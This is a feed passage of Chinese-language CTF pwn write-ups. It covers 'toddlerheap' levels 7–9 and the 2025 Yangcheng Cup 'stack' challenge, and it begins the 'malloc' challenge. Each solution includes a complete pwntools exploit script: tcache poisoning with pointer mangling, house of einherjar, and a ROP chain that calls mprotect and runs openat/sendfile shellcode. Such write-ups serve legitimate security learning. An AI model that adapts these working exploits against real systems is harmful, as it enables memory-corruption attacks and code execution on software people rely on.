    target.success(f&quot;flag: {hex(flag)}&quot;)
    target.success(f&quot;pos: {hex(pos)}&quot;)
    target.success(f&quot;heap: {hex(heap)}&quot;)

    payload = flat(
        {
            0x2E0: 0,
            0x2E8: 0x21,
            0x2F0: b&quot;A&quot; * 0x8,
        }
    )
    # raw_input(&quot;DEBUG&quot;)
    read_to_global(0x1337, payload)
    # raw_input(&quot;DEBUG&quot;)
    safer_read(0, flat(mangle(pos, flag - 0x28)))

    calloc(0, 0x18)
    raw_input(&quot;DEBUG&quot;)
    calloc(1, 0x18)
    raw_input(&quot;DEBUG&quot;)
    safer_read(1, b&quot;A&quot; * 0x18)
    puts(1)
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 7.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Perform an advanced heap exploit to obtain the flag.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;与上题类似，也是要想办法令 calloc 返回一个包含 flag 的 chunk，区别在于这次不能往 bss 写入数据了。但是调试发现，bss 保存 size 的位置与保存 flag 的位置距离很近，因此我们也就可以利用这一点来伪造 flag chunk 的 chunk_size，令 calloc 认为这是一个合法的 chunk 并返回。&lt;/p&gt;
&lt;p&gt;虽然这次 bss 中存储 size 的位置和 flag 位置距离近看上去很刻意，但 bss 下面一般紧邻着 heap 确实是一个通常容易被忽略的地方，可以注意刻意培养一下自己对内存布局的敏感度：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File (set vmmap-prefer-relpaths on)
    0x557a0689e000     0x557a0689f000 r--p     1000      0 toddlerheap_level7.0_patched
    0x557a0689f000     0x557a068a0000 r-xp     1000   1000 toddlerheap_level7.0_patched
    0x557a068a0000     0x557a068a1000 r--p     1000   2000 toddlerheap_level7.0_patched
    0x557a068a1000     0x557a068a2000 r--p     1000   2000 toddlerheap_level7.0_patched
    0x557a068a2000     0x557a068a3000 rw-p     1000   3000 toddlerheap_level7.0_patched
    0x557a068a3000     0x557a068a7000 rw-p     4000   5000 toddlerheap_level7.0_patched
    0x557a3c52b000     0x557a3c54c000 rw-p    21000      0 [heap]
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/toddlerheap_level7.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def calloc(idx, size):
    target.sendlineafter(b&quot;: &quot;, b&quot;calloc&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendlineafter(b&quot;Size: &quot;, str(size).encode())


def free(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def puts(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;puts&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def safer_read(idx, data):
    target.sendlineafter(b&quot;: &quot;, b&quot;safer_read&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.send(data)


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    target.recvuntil(b&quot;Reading the flag into &quot;)
    flag = int(target.recvline().strip()[:-1], 16)

    for i in range(7):
        calloc(i, 0)
        free(i)

    calloc(0, 0)
    calloc(1, 0)
    free(1)
    free(0)

    puts(1)
    target.recvuntil(b&quot;Data: &quot;)
    pos = int.from_bytes(target.recvline().strip(), &quot;little&quot;)

    puts(0)
    target.recvuntil(b&quot;Data: &quot;)
    heap = demangle(pos, int.from_bytes(target.recvline().strip(), &quot;little&quot;))

    target.success(f&quot;flag: {hex(flag)}&quot;)
    target.success(f&quot;pos: {hex(pos)}&quot;)
    target.success(f&quot;heap: {hex(heap)}&quot;)

    calloc(10, 0x20)
    calloc(0, 0x10)
    calloc(1, 0x10)
    free(1)
    free(0)

    payload = flat(
        mangle(pos, flag - 0x28),
    )
    raw_input(&quot;DEBUG&quot;)
    safer_read(0, payload)

    calloc(0, 0x10)
    # raw_input(&quot;DEBUG&quot;)
    calloc(0, 0x18)

    raw_input(&quot;DEBUG&quot;)
    safer_read(0, b&quot;A&quot; * 0x18)
    puts(0)
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 8.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Perform an advanced heap exploit to obtain the flag.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;本来以为是要打 largebin attack，结果发现不是，而是 house of einherjar……&lt;s&gt;einherjar？E (FLAGS) in her jar !（误&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;对于这章都快结束了还没有学到 largebin attack 还是有点小失落的，不过却也为多学了一个 house 而高兴……&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/toddlerheap_level8.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b&quot;: &quot;, b&quot;malloc&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendlineafter(b&quot;Size: &quot;, str(size).encode())


def free(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def puts(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;puts&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def read_copy(idx, data):
    target.sendlineafter(b&quot;: &quot;, b&quot;read_copy&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.send(data)


def read_flag():
    target.sendlineafter(b&quot;: &quot;, b&quot;read_flag&quot;)


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)
    malloc(0, 0)
    malloc(1, 0)

    puts(1)
    target.recvuntil(b&quot;Data: &quot;)
    pos = int.from_bytes(target.recvline().strip(), &quot;little&quot;)

    puts(0)
    target.recvuntil(b&quot;Data: &quot;)
    heap = demangle(pos, int.from_bytes(target.recvline().strip(), &quot;little&quot;))

    target.success(f&quot;pos: {hex(pos)}&quot;)
    target.success(f&quot;heap: {hex(heap)}&quot;)

    flag = heap + 0x8C0
    fake_chunk = heap + 0x20

    malloc(0, 0x38)
    malloc(1, 0x28)
    malloc(2, 0xF8)

    payload = flat(
        0,
        0x60,
        fake_chunk,
        fake_chunk,
    )
    # raw_input(&quot;DEBUG&quot;)
    read_copy(0, payload)

    payload = flat(
        b&quot;A&quot; * 0x20,
        0x60,
    )
    # raw_input(&quot;DEBUG&quot;)
    read_copy(1, payload)

    for i in range(7, 14):
        malloc(i, 0xF8)

    for i in range(7, 14):
        free(i)

    # raw_input(&quot;DEBUG&quot;)
    free(2)

    malloc(3, 0x158)
    malloc(4, 0x28)
    free(4)
    free(1)

    payload = flat(
        b&quot;A&quot; * 0x20,
        0,
        0x31,
        mangle(pos, flag),
    )
    # raw_input(&quot;DEBUG&quot;)
    read_copy(3, payload)

    # raw_input(&quot;DEBUG&quot;)
    malloc(0, 0x28)
    malloc(0, 0x28)
    # raw_input(&quot;DEBUG&quot;)
    read_flag()
    puts(0)
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 9.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Perform an advanced heap exploit to obtain the flag.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;free 后只是清空了 size 却没有清空 ptr，所以可以将 unsorted bin 中的 chunk 丢到 tcache 中，再利用 unsorted bin 的合并机制来 overlapping 破坏 tcache 的 fd 指针。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/toddlerheap_level9&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b&quot;: &quot;, b&quot;malloc&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendlineafter(b&quot;Size: &quot;, str(size).encode())


def free(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def puts(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;puts&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def safer_read(idx, data):
    target.sendlineafter(b&quot;: &quot;, b&quot;safer_read&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.send(data)


def send_flag():
    target.sendlineafter(b&quot;: &quot;, b&quot;send_flag&quot;)


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    authenticated = 0x404260

    malloc(0, 0x10)
    malloc(1, 0x10)
    free(1)
    free(0)
    malloc(1, 0x10)
    malloc(0, 0x10)

    puts(0)
    target.recvuntil(b&quot;Data: &quot;)
    pos = int.from_bytes(target.recvline().strip(), &quot;little&quot;)

    puts(1)
    target.recvuntil(b&quot;Data: &quot;)
    heap = demangle(pos, int.from_bytes(target.recvline().strip(), &quot;little&quot;))

    target.success(f&quot;pos: {hex(pos)}&quot;)
    target.success(f&quot;heap: {hex(heap)}&quot;)

    for i in range(7, 14):
        malloc(i, 0x100)

    malloc(0, 0x100)
    malloc(1, 0x100)
    malloc(15, 0x10)  # guard

    for i in range(7, 14):
        free(i)

    free(1)
    free(0)

    malloc(0, 0x100)
    free(1)

    malloc(0, 0x210)
    payload = flat(
        {
            0x108: 0x111,
            0x110: mangle(pos, authenticated),
        }
    )
    # raw_input(&quot;DEBUG&quot;)
    safer_read(0, payload)

    malloc(0, 0x100)
    malloc(0, 0x100)
    safer_read(0, b&quot;A&quot;)
    send_flag()
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Write-ups: 2025 年「羊城杯」网络安全大赛初赛 [本科院校组]</title><link>https://cubeyond.net/posts/write-ups/2025-%E7%BE%8A%E5%9F%8E%E6%9D%AF/</link><guid isPermaLink="true">https://cubeyond.net/posts/write-ups/2025-%E7%BE%8A%E5%9F%8E%E6%9D%AF/</guid><description>2025 年「羊城杯」网络安全大赛初赛 Pwn 方向部分题解。</description><pubDate>Sat, 11 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;stack&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 500&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;听说你很喜欢栈溢出？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;虽然逻辑很简单，但是还是先让 MCP 先分析一下逻辑，重命名一下变量名。得到如下程序：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int64 init()
{
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  *(_QWORD *)&amp;amp;random_seed = time(0);
  srand(random_seed);
  for ( n2 = 0; n2 &amp;lt;= 2; n2 = rand() % 5 )
    ;
  main_addr_multiplied = (_QWORD)main * n2;
  global_buffer = malloc(0x1000u);
  sub_1396();
  memset(global_buffer, 0, 0x2000u);
  global_buffer = (char *)global_buffer - 672;
  buffer_ptr_offset = (__int64)global_buffer + 256;
  *((_QWORD *)global_buffer + 32) = (char *)global_buffer + 4096;
  *(_QWORD *)(buffer_ptr_offset + 8) = sub_132E;
  counter_n2 = 0;
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上面这个 &lt;code&gt;init&lt;/code&gt; 函数里的 &lt;code&gt;sub_1396&lt;/code&gt; 开了沙箱，禁用了 &lt;code&gt;open&lt;/code&gt; 和 &lt;code&gt;execve&lt;/code&gt;，第一反应是打 orw 。可以用 &lt;code&gt;openat&lt;/code&gt; 代替 &lt;code&gt;open&lt;/code&gt;，然后 &lt;code&gt;sendfile&lt;/code&gt; 可以 &lt;code&gt;read&lt;/code&gt;，&lt;code&gt;write&lt;/code&gt; 一把梭。&lt;/p&gt;
&lt;p&gt;&lt;em&gt;PS: 一开始我还注意到程序有 &lt;code&gt;syscall&lt;/code&gt; gadget，结合 read 我觉得打 SROP 也可以，不过想着可能还需要栈迁移？好久没做过 SROP 了不知道行不行，就用上面那个看上去更稳妥的办法了。&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int64 vuln()
{
  puts(&quot;Welcome to YCB2025!&quot;);
  puts(&quot;Good luck!&quot;);
  read(0, global_buffer, 0x2000u);
  if ( (unsigned __int64)counter_n2 &amp;gt; 2 )
  {
    puts(&quot;Bye~&quot;);
    exit(0);
  }
  ++counter_n2;
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;下面有个后门函数，MCP 重命名了变量名叫 &lt;code&gt;main_addr_multiplied&lt;/code&gt;，盲猜这个地址保存的就是 main 函数地址乘以一个随机数了，可以先返回到这里泄漏出来然后随便除几个数字试试看能不能得到 main 的地址，也可以自己看伪代码，判断一下可能除了什么数，我当时是猜的，因为数字很小，随便试了下就出来了。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// positive sp value has been detected, the output may be wrong!
__int64 sub_1357()
{
  printf(&quot;magic number:%lld\n&quot;, main_addr_multiplied);
  return vuln();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;后来研究了一下，发现是在 &lt;code&gt;init&lt;/code&gt; 里设置的乘什么数，结果范围是 $[3, 4]$：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  for ( n2 = 0; n2 &amp;lt;= 2; n2 = rand() % 5 )
    ;
  main_addr_multiplied = (_QWORD)main * n2;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由于没有控制 rdi 的 gadgets, 得去看看程序里面有没有可以利用的汇编片段，发现下面这个函数比较奇怪，使用了 &lt;code&gt;stdout&lt;/code&gt; 的地址赋值，一般情况下 &lt;code&gt;stdout&lt;/code&gt; 里面保存的是 libc 地址。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;FILE **sub_12C9()
{
  FILE **result; // rax

  result = (FILE **)qword_4090;
  if ( !qword_4090 )
  {
    qword_4090 = 1;
    p_stdout = (__int64)&amp;amp;stdout;
    return &amp;amp;stdout;
  }
  return result;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再看一下它的汇编：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.text:00000000000012C9 ; FILE **sub_12C9()
.text:00000000000012C9 sub_12C9        proc near
.text:00000000000012C9 ; __unwind {
.text:00000000000012C9                 endbr64
.text:00000000000012CD                 sub     rsp, 8
.text:00000000000012D1                 mov     rax, cs:qword_4090
.text:00000000000012D8                 test    rax, rax
.text:00000000000012DB                 jnz     short loc_1329
.text:00000000000012DD                 mov     cs:qword_4090, 1
.text:00000000000012E8                 lea     rax, stdout
.text:00000000000012EF                 mov     cs:p_stdout, rax
.text:00000000000012F6                 mov     rax, cs:p_stdout
.text:00000000000012FD                 lea     rdx, stdout     ; rtld_fini
.text:0000000000001304                 cmp     rax, rdx
.text:0000000000001307                 jnz     short loc_1312
.text:0000000000001309                 mov     rax, cs:p_stdout
.text:0000000000001310                 jmp     short loc_1329
.text:0000000000001312 ; ---------------------------------------------------------------------------
.text:0000000000001312
.text:0000000000001312 loc_1312:                               ; CODE XREF: sub_12C9+3E↑j
.text:0000000000001312                 mov     cs:qword_4090, 0FFFFFFFFFFFFFFFFh
.text:000000000000131D                 call    start
.text:0000000000001322 ; ---------------------------------------------------------------------------
.text:0000000000001322                 mov     eax, 0
.text:0000000000001327                 jmp     short $+2
.text:0000000000001329 ; ---------------------------------------------------------------------------
.text:0000000000001329
.text:0000000000001329 loc_1329:                               ; CODE XREF: sub_12C9+12↑j
.text:0000000000001329                                         ; sub_12C9+47↑j ...
.text:0000000000001329                 add     rsp, 8
.text:000000000000132D                 retn
.text:000000000000132D ; } // starts at 12C9
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上面给 &lt;code&gt;rax&lt;/code&gt;, &lt;code&gt;rdx&lt;/code&gt; 都赋值了 &lt;code&gt;stdout&lt;/code&gt; 地址，所以 &lt;code&gt;cmp&lt;/code&gt; 不进 &lt;code&gt;jnz&lt;/code&gt;，直接返回。&lt;/p&gt;
&lt;p&gt;泄漏了这个地址就可以去泄漏 libc 地址了，看到有 &lt;code&gt;puts&lt;/code&gt;，那想办法把 rax 里面的值给到 rdi 然后调用 &lt;code&gt;puts&lt;/code&gt; 就行。&lt;/p&gt;
&lt;p&gt;注意到 &lt;code&gt;puts&lt;/code&gt; 的传参是用的 rax，此外，程序有多处 &lt;code&gt;puts&lt;/code&gt; 的交叉引用，找一个能用的就行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.text:000000000000161F ; __int64 vuln()
.text:000000000000161F vuln            proc near               ; CODE XREF: sub_1357+32↑p
.text:000000000000161F                                         ; main+17↓p
.text:000000000000161F ; __unwind {
.text:000000000000161F                 endbr64
.text:0000000000001623                 push    rbp
.text:0000000000001624                 lea     rax, aWelcomeToYcb20 ; &quot;Welcome to YCB2025!&quot;
.text:000000000000162B                 mov     rdi, rax        ; s
.text:000000000000162E                 call    _puts
.text:0000000000001633                 lea     rax, aGoodLuck  ; &quot;Good luck!&quot;
.text:000000000000163A                 mov     rdi, rax        ; s
.text:000000000000163D                 call    _puts
.text:0000000000001642                 mov     rax, cs:global_buffer
.text:0000000000001649                 mov     edx, 2000h      ; nbytes
.text:000000000000164E                 mov     rsi, rax        ; buf
.text:0000000000001651                 mov     edi, 0          ; fd
.text:0000000000001656                 call    _read
.text:000000000000165B                 mov     rax, cs:counter_n2
.text:0000000000001662                 cmp     rax, 2
.text:0000000000001666                 jbe     short loc_1681
.text:0000000000001668                 lea     rax, aBye_0     ; &quot;Bye~&quot;
.text:000000000000166F                 mov     rdi, rax        ; s
.text:0000000000001672                 call    _puts
.text:0000000000001677                 mov     edi, 0          ; status
.text:000000000000167C                 call    _exit
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上面这个 puts 执行完还能再执行一次 read，这次构造 &lt;code&gt;mprotect&lt;/code&gt; 设置 bss 可执行，然后再来一个 &lt;code&gt;read&lt;/code&gt; 把 shellcode 读到 bss，然后返回到 bss 就好了。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    ROP,
    args,
    asm,
    context,
    flat,
    process,
    raw_input,
    remote,
)

FILE = &quot;./Stack_Over_Flow&quot;
HOST, PORT = &quot;45.40.247.139&quot;, 25201

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
libc = ELF(&quot;./libc.so.6&quot;)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    payload = flat(
        b&quot;A&quot; * 0x108,
        b&quot;\x5f&quot;,
    )
    # raw_input(&quot;DEBUG&quot;)
    target.sendafter(b&quot;Good luck!&quot;, payload)

    target.recvuntil(b&quot;magic number:&quot;)
    elf.address = (int(target.recvline().strip()) // 3) - 0x16B0
    target.success(f&quot;pie: {hex(elf.address)}&quot;)

    control_rdi = elf.address + 0x12E8
    payload = flat(
        b&quot;A&quot; * 0x108,
        control_rdi,
        0,
        elf.address + 0x162B,  # puts
    )
    # raw_input(&quot;DEBUG&quot;)
    target.sendafter(b&quot;Good luck!&quot;, payload)

    target.recvline()
    libc.address = int.from_bytes(target.recvline().strip(), &quot;little&quot;) - 0x21B780
    target.success(f&quot;libc: {hex(libc.address)}&quot;)

    rop = ROP(libc)
    payload = flat(
        b&quot;A&quot; * 0x108,
        # mprotect
        libc.address + 0x378DF,  # nop; ret
        libc.address + 0x378DF,  # nop; ret
        rop.rdi.address,
        elf.address + 0x4000,
        rop.rsi.address,
        0x1337,
        rop.find_gadget([&quot;pop rdx&quot;, &quot;pop rbx&quot;, &quot;ret&quot;])[0],
        0x7,
        0,
        rop.rax.address,
        0xA,
        rop.find_gadget([&quot;syscall&quot;, &quot;ret&quot;])[0],
        # read
        rop.rdi.address,
        0,
        rop.rsi.address,
        elf.bss() + 0x500,
        rop.find_gadget([&quot;pop rdx&quot;, &quot;pop rbx&quot;, &quot;ret&quot;])[0],
        0x1337,
        0,
        rop.rax.address,
        0,
        rop.find_gadget([&quot;syscall&quot;, &quot;ret&quot;])[0],
        elf.bss() + 0x500,
    )

    raw_input(&quot;DEBUG&quot;)
    target.sendafter(b&quot;Good luck!&quot;, payload)

    payload = asm(&quot;&quot;&quot;
        mov rax, 0x67616c66
        push rax
        xor edi, edi
        sub edi, 100
        mov rsi, rsp
        xor edx, edx
        xor r10, r10
        mov eax, 0x101
        syscall

        mov edi, 1
        mov esi, 3
        push 0
        mov rdx, rsp
        mov r10, 0x1337
        mov rax, 0x28
        syscall
    &quot;&quot;&quot;)
    target.send(payload)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;DASCTF{86480848618847093058521417023694}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;malloc&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 500&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;我再也不做堆了&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;题目实现了自定义的 &lt;code&gt;malloc&lt;/code&gt; 和 &lt;code&gt;free&lt;/code&gt;，在 &lt;code&gt;create&lt;/code&gt; 函数中，可以申请的 &lt;code&gt;chunk_idx&lt;/code&gt; 的最大值是 &lt;code&gt;0x10&lt;/code&gt;，&lt;code&gt;chunk_pointers&lt;/code&gt; 数组只能存储 16 个 QWORD（索引 0-15）。调试发现，当 &lt;code&gt;chunk_idx&lt;/code&gt; 为 &lt;code&gt;0x10&lt;/code&gt; 时，malloc 会破坏 &lt;code&gt;g_chunk_sizes[0]&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;这里简单贴一下几个函数的逆向结果吧：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int64 init()
{
  int i; // [rsp+4h] [rbp-Ch]
  __int64 seccomp_ctx; // [rsp+8h] [rbp-8h]

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  g_arena_top = (__int64)&amp;amp;g_heap_base;
  g_heap_size_limit = 4096;
  g_current_heap_offset = 4096;
  for ( i = 0; i &amp;lt;= 15; ++i )
    g_freelists[i] = 0;
  seccomp_ctx = seccomp_init(2147418112);
  seccomp_rule_add(seccomp_ctx, 0, 59, 0);
  seccomp_rule_add(seccomp_ctx, 0, 322, 0);
  return seccomp_load(seccomp_ctx);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;unsigned __int64 create()
{
  unsigned int chunk_idx_1; // ebx
  char newline_char; // [rsp+Fh] [rbp-21h] BYREF
  unsigned int chunk_idx; // [rsp+10h] [rbp-20h] BYREF
  unsigned int chunk_size; // [rsp+14h] [rbp-1Ch] BYREF
  unsigned __int64 canary; // [rsp+18h] [rbp-18h]

  canary = __readfsqword(0x28u);
  puts(&quot;Index&quot;);
  __isoc99_scanf(&quot;%u%c&quot;, &amp;amp;chunk_idx, &amp;amp;newline_char);
  if ( chunk_idx &amp;lt;= 0x10
    &amp;amp;&amp;amp; (puts(&quot;size&quot;), __isoc99_scanf(&quot;%u%c&quot;, &amp;amp;chunk_size, &amp;amp;newline_char), chunk_size &amp;lt;= 0x70)
    &amp;amp;&amp;amp; chunk_size &amp;gt; 0xF )
  {
    chunk_idx_1 = chunk_idx;
    *((_QWORD *)&amp;amp;g_heap_base + chunk_idx_1 + 512) = do_malloc(chunk_size);
    *((_QWORD *)&amp;amp;g_heap_base + chunk_idx + 528) = chunk_size;
    puts(&quot;Success&quot;);
  }
  else
  {
    puts(&quot;Invalid&quot;);
  }
  return canary - __readfsqword(0x28u);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall do_malloc(unsigned int requested_size)
{
  signed int aligned_size; // [rsp+1Ch] [rbp-14h]
  unsigned int remainder_size; // [rsp+20h] [rbp-10h]
  int freelist_idx; // [rsp+24h] [rbp-Ch]
  __int64 allocated_chunk; // [rsp+28h] [rbp-8h]
  __int64 g_arena_top; // [rsp+28h] [rbp-8h]

  remainder_size = requested_size &amp;amp; 0xF;
  if ( remainder_size &amp;gt; 8 )
    aligned_size = requested_size - remainder_size + 32;
  else
    aligned_size = requested_size - remainder_size + 16;
  freelist_idx = aligned_size / 16;
  if ( g_freelists[aligned_size / 16] )
  {
    allocated_chunk = g_freelists[freelist_idx];
    g_freelists[freelist_idx] = *(_QWORD *)(allocated_chunk + 16);
    *(_BYTE *)allocated_chunk = 1;
    return allocated_chunk + 16;
  }
  else
  {
    if ( aligned_size &amp;gt;= (unsigned __int64)g_heap_size_limit )
    {
      puts(&quot;malloc(): corrupted top chunks&quot;);
      exit(0);
    }
    g_arena_top = g_arena_top;
    *(_BYTE *)g_arena_top = 1;
    *(_DWORD *)(g_arena_top + 8) = aligned_size;
    g_arena_top += aligned_size;
    g_heap_size_limit -= aligned_size;
    *(_DWORD *)(g_arena_top + 8) = g_heap_size_limit;
    return g_arena_top + 16;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;unsigned __int64 delete()
{
  char newline_char; // [rsp+3h] [rbp-Dh] BYREF
  unsigned int chunk_idx; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 canary; // [rsp+8h] [rbp-8h]

  canary = __readfsqword(0x28u);
  puts(&quot;Index&quot;);
  __isoc99_scanf(&quot;%u%c&quot;, &amp;amp;chunk_idx, &amp;amp;newline_char);
  if ( chunk_idx &amp;lt;= 0x10 )
  {
    do_free(chunk_idx);
    *((_QWORD *)&amp;amp;g_heap_base + chunk_idx + 528) = 0;
    puts(&quot;Success&quot;);
  }
  else
  {
    puts(&quot;Invalid index&quot;);
  }
  return canary - __readfsqword(0x28u);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall do_free(unsigned int chunk_idx)
{
  int chunk_size_val; // kr08_4
  __int64 chunk_header_ptr_2; // rax
  int freelist_walk_count; // [rsp+14h] [rbp-1Ch]
